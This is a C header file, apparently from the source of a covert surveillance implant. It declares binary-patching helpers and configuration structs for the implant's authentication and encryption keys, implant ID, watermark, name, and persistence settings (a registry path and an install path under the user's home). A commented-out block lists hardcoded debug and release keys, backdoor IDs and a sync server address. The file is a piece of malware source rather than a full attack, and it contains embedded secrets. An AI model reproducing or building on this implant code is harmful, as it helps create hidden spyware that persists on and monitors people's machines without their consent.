#pragma once

BOOL PatchDword(LPVOID lpBuffer, DWORD32 dwBufferSize, DWORD64 dwSearchFlag, DWORD32 dwDesiredValue);
LPVOID ResolveRuntimeExport(LPVOID lpBuffer, DWORD64 dwBufferSize, DWORD64 dwSearchFlag);

#define FLAG_HIGH32 (0x76fa14de00000000)

typedef struct _FIRST_RUN
{
#define FLAG_FIRST_RUN 0x00000001

	DWORD64 dwFirstRunFlag;
	DWORD32 dwFirstRunValue;
} FIRST_RUN, *PFIRST_RUN;

/* for server authentication */
typedef struct _CLIENT_KEY
{
#define FLAG_CLIENT_KEY 0x00000002

	DWORD64		dwClientKeyFlag;
	BYTE 	    pClientKey[32];
} CLIENT_KEY, *PCLIENT_KEY;

/* for log */
typedef struct _ENCRYPTION_KEY
{
#define FLAG_ENCRYPTION_KEY 0x00000003

	DWORD64		dwEncryptionKeyFlag;
	BYTE 	    pEncryptionKey[32];
} ENCRYPTION_KEY, *PENCRYPTION_KEY;

/* for conf and sha1 */
typedef struct _ENCRYPTION_KEY_CONF
{
#define FLAG_ENCRYPTION_KEY_CONF 0x00000004

	DWORD64		dwEncryptionKeyConfFlag;
	BYTE 	    pEncryptionKeyConf[32];
} ENCRYPTION_KEY_CONF, *PENCRYPTION_KEY_CONF;

typedef struct _IMPLANT_ID
{
#define FLAG_IMPLANT_ID 0x00000005

	DWORD64		dwImplantIdFlag;
	BYTE 	    pImplantId[16];
} IMPLANT_ID, *PIMPLANT_ID;

typedef struct _DEMO_TAG
{
#define FLAG_DEMO_TAG 0x00000006

	DWORD64		dwDemoTagFlag;
	BYTE 	    pDemoTag[32];
} DEMO_TAG, *PDEMO_TAG;

typedef struct _WMARKER
{
#define FLAG_WMARKER 0x00000007

	DWORD64		dwWmarkerFlag;
	BYTE 	    pWmarker[32];
} WMARKER, *PWMARKER;

typedef struct _IMPLANT_NAME
{
#define FLAG_IMPLANT_NAME 0x00000008

	DWORD64		dwImplantNameFlag;
	CHAR 	    pImplantName[MAX_PATH];
} IMPLANT_NAME, *PIMPLANT_NAME;

typedef struct _IMPLANT_PERSISTENCE_PARAMETERS
{
#define FLAG_IMPLANT_PERSISTENCE_PARAMETERS 0x00000009

	DWORD64		dwImplantPersistenceParametersFlag;
	CHAR		pRegistryPath[1024]; 
	CHAR		pImplantPath[MAX_PATH]; //relative to user home

}IMPLANT_PERSISTENCE_PARAMETERS, *PIMPLANT_PERSISTENCE_PARAMETERS;

extern FIRST_RUN pFirstRun;
extern CLIENT_KEY pClientKey;
extern ENCRYPTION_KEY pEncryptionKey;
extern ENCRYPTION_KEY_CONF pEncryptionKeyConf;
extern IMPLANT_ID pImplantId;
extern DEMO_TAG pDemoTag;
extern WMARKER pWmarker;
extern IMPLANT_NAME pImplantName;
extern IMPLANT_PERSISTENCE_PARAMETERS pPersistenceParamers;

typedef struct _BINPATCH_STRUCT
{
	CLIENT_KEY clientKey;
	ENCRYPTION_KEY EncryptionKey;
	ENCRYPTION_KEY_CONF EncryptionKeyConf;
	IMPLANT_ID ImplantId;
	DEMO_TAG DemoTag;
	WMARKER Wmarker;
	IMPLANT_NAME pImplantName;
	HANDLE hDllToFree;
}BINPATCH_STRUCT, *PBINPATCH_STRUCT;


//#ifdef _DEBUG // istanza 'poveri' su castore.
//#define CLIENT_KEY			"4yeN5zu0+il3Jtcb5a1sBcAdjYFcsD9z"	// per server (auth)
//#define ENCRYPTION_KEY		"i6gMR84bxvQovzbhtV-if0SdPMu359ax"	// for log
//#define ENCRYPTION_KEY_CONF "uX-o0BOIkiyOyVXH4L3FYhbai-CvMU-_"	// for conf e sha1
//#define BACKDOOR_ID			"RCS_0000001167"					// castore "poveri"

//#define DEMO_TAG			    "hxVtdxJ/Z8LvK3ULSnKRUmLE"
//#define WMARKER				"LOuWApluW2C3yF8VBUEdAAiJs7oaV2e8"
////#define SYNC_SERVER			"192.168.100.100"
//#define SCOUT_NAME			"AutoScoutTests"
////#define SCREENSHOT_FLAG		"\x00\x00\x00\x00"
//extern BYTE EMBEDDED_CONF[513];
//#else
//#define CLIENT_KEY			"ANgs9oGFnEL_vxTxe9eIyBx5lZxfd6QZ"
//#define ENCRYPTION_KEY		"WfClq6HxbSaOuJGaH5kWXr7dQgjYNSNg"
//#define ENCRYPTION_KEY_CONF	"6uo_E0S4w_FD0j9NEhW2UpFw9rwy90LY"
//#define BACKDOOR_ID			"EMp7Ca7-fpOBIr"

//#define DEMO_TAG			"Pg-WaVyPzMMMMmGbhP6qAigT"
//#define WMARKER				"B3lZ3bupLuI4p7QEPDgNyWacDzNmk1pW" // watermark
////#define SYNC_SERVER			"SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC"
//#define SCOUT_NAME			"SCOUTSCOUTSCOUTSCOUT"
////#define SCREENSHOT_FLAG		"SHOT"
//extern BYTE EMBEDDED_CONF[513];
//#endif

